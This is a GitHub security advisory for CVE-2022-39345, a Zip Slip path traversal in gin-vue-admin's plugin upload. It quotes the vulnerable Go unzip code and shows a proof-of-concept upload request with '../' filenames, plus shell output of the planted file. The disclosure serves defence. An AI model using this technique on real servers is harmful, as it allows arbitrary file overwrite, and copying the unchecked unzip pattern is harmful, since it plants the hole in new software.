

# The arbitrary file upload vulnerability caused by path traversal is on [github.com/flipped-aurora/gin-vue-admin](https://github.com/flipped-aurora/gin-vue-admin)

**Moderate** piexlmax published GHSA-7gc4-r5jr-9hvx on Oct 23

## Package

[github.com/flipped-aurora/gin-vue-admin/server](https://github.com/flipped-aurora/gin-vue-admin/server) (Go)

## Affected versions

<2.5.4

## Patched versions

<2.5.4

## Description

### Impact

Gin-vue-admin < 2.5.4 has File upload vulnerabilities.

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size. Failing to properly enforce restrictions on these could mean that even a basic image upload function can be used to upload arbitrary and potentially dangerous files instead. This could even include server-side script files that enable remote code execution.

### Patches

[#1264](#)

### Workarounds

[#1264](#)

### References

[#1263](#)

## For more information

The plugin installation function of Gin-Vue-Admin allows users to download zip packages from the plugin market and upload them for installation. This function has an arbitrary file upload vulnerability. A malicious attacker can upload a constructed zip package to traverse the directory and upload or overwrite arbitrary files on the server side.

The affected code [https://github.com/flipped-aurora/gin-vue-admin/blob/main/server/service/system/sys\\_auto\\_code.go](https://github.com/flipped-aurora/gin-vue-admin/blob/main/server/service/system/sys_auto_code.go) line 880 called the `utils.Unzip` method

```
paths, err := utils.Unzip(GVAPLUGPINATH+file.Filename, GVAPLUGPINATH)
paths = filterFile(paths)
var webIndex = -1
var serverIndex = -1
for i := range paths {
    paths[i] = filepath.ToSlash(paths[i])
    pathArr := strings.Split(paths[i], "/")
    ln := len(pathArr)
    if ln < 2 {
        continue
    }
    if pathArr[ln-2] == "server" && pathArr[ln-1] == "plugin" {
        serverIndex = i
    }
    if pathArr[ln-2] == "web" && pathArr[ln-1] == "plugin" {
        webIndex = i
    }
}
if webIndex == -1 && serverIndex == -1 {
    zap.L().Error("非标准插件, 请按照文档自动迁移使用")
    return webIndex, serverIndex, errors.New("非标准插件, 请按照文档自动迁移使用")
}
...
```

The <https://github.com/flipped-aurora/gin-vue-admin/blob/main/server/utils/zip.go> code defines the `utils.Unzip` method

```
//解压
func Unzip(zipFile string, destDir string) ([]string, error) {
    zipReader, err := zip.OpenReader(zipFile)
    var paths []string
    if err != nil {
        return []string{}, err
    }
    defer zipReader.Close()

    for _, f := range zipReader.File {
        fpath := filepath.Join(destDir, f.Name)
        paths = append(paths, fpath)
        if f.FileInfo().IsDir() {
            os.MkdirAll(fpath, os.ModePerm)
        }
    }
    ...
}
```

It can be analyzed that after uploading a zip compressed file, the `unzip` method will be called to decompress the compressed file, and then judge whether the compressed file contains the fixed directory structure of server, web, and plugin.

Whether the zip file is correct or not, it will be decompressed first. If the directory does not exist, it will be created automatically. Therefore, malicious zip packages can be constructed, and directory traversal can be performed during automatic decompression to upload or overwrite any file.

Use the Zip Slip vulnerability to construct a malicious zip package with `../../../../` filenames, and upload the malicious zip package to trigger the vulnerability.

Request

PrettyRawVnActions

1 POST /api/autoCode/installPlugin HTTP/1.1  
2 Host: [REDACTED]  
3 Content-Length: 405  
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36  
5 x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3VjVlE1Ijo1YTYyMDM1NzE0MDEzNS00OTYyLkxk2NGQzMzY3YmZDQ5YzU1IiwiaXNjaW50IjoiYm9keSIsImVudCI6ImF1dG8iLCJ0aW4iOiJkb290IiwiaWF0Ijoi2022-10-23T02:48:49.000Z\", \"signature\": \"[REDACTED]\"  
6 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryEhouRIA7IUzprC1c  
7 Accept: \*/\*  
8 Origin: [REDACTED]  
9 Referer: [REDACTED]  
10 Accept-Encoding: gzip, deflate  
11 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
12 Connection: close  
13  
14 -----WebKitFormBoundaryEhouRIA7IUzprC1c  
15 Content-Disposition: form-data; name=\"plug\"; filename=\"zipslip.zip\"  
16 Content-Type: application/x-zip-compressed  
17  
18 PKtTWU8d[REDACTED]  
19 ...../tmp/attack\_success.txt+H[REDACTED]OL[REDACTED]PKtTWU8d[REDACTED]  
20 ...../tmp/attack\_success.txtPKtTWU8d[REDACTED]  
21 -----WebKitFormBoundaryEhouRIA7IUzprC1c-----  
22

Response

PrettyRawRenderVnActions

1 HTTP/1.1 200 OK  
2 Server: nginx/1.21.5  
3 Date: Sun, 23 Oct 2022 02:48:49 GMT  
4 Content-Type: application/json; charset=utf-8  
5 Content-Length: 80  
6 Connection: close  
7  
8 {  
 \"code\": 7,  
 \"data\": {  
 },  
 \"msg\": \"非标准插件, 请按文档自动迁移使用\"  
}

```
~ #  
~ #  
~ # ls /tmp/  
attack_success.txt  
~ #  
~ # cat /tmp/attack_success.txt  
payload...~ #  
~ #
```

## Severity

Moderate

## CVE ID

CVE-2022-39345

## Weaknesses

CWE-22

CWE-23

## Credits

